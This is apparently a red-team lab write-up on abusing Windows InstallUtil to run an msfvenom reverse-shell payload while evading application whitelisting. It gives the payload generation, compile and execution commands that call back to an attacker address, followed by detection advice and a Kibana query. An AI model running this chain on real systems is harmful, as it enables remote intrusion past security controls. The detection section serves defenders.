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# InstallUtil

## Execution

First of, let's generate a C# payload (with [InstallUtil script](https://github.com/khr0x40sh/WhiteListEvasion)) that contains shellcode from msfvenom and upload the temp.cs file to victim's machine:

{% code title="attacker\@local" %}

```csharp
python InstallUtil.py --cs_file temp.cs --exe_file temp.exe --payload windowsreverse_shell_tcp --lhost 10.0.0.5 --lport 443
```

{% endcode %}

Compile the .cs to an .exe:

{% code title="attacker\@victim" %}

```csharp
PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\csc.exe C:\experiments\installUtil\temp.cs
```

{% endcode %}

Execute the payload:

{% code title="attacker\@victim" %}

```csharp
PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Microsoft.NET\Framework\v4.0.30319\temp.exe
Microsoft (R) .NET Framework Installation utility Version 4.0.30319.17929
Copyright (C) Microsoft Corporation.  All rights reserved.

Hello From Uninstall...I carry out the real work...
```

{% endcode %}

Enjoy the sweet reverse shell:

![](/files/-LHUlRemzkmdPnsbKP5U)

## Observations

Look for `InstallUtil` processes that have established connections, especially those with cmd or powershell processes running as children - you should treat them as suspicious and investigate the endpoint closer:

![](/files/-LHUlaDwNxHutv7Ow4Vc)

A very primitive query in kibana allowing to find events where InstallUtil spawns cmd:

{% code title="kibana" %}

```
event_data.ParentCommandLine:"*installutil.exe*" && event_data.Image:cmd.exe
```

{% endcode %}

![InstallUtil launching the malicious payload](/files/-LHUsNMxVLuWKHFkmlhs)

![csc.exe created a temp.exe which contains the reverse shell payload](/files/-LHUxQNLHymXzkR8SwSY)

What is interesting is that I could not see an established network connection logged in sysmon logs, although I could see other network connections from the victim machine being logged.

{% hint style="danger" %}
Will be coming back to this one for further inspection - possibly related to sysmon configuration.
{% endhint %}

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1118>" %}

{% embed url="<https://github.com/khr0x40sh/WhiteListEvasion>" %}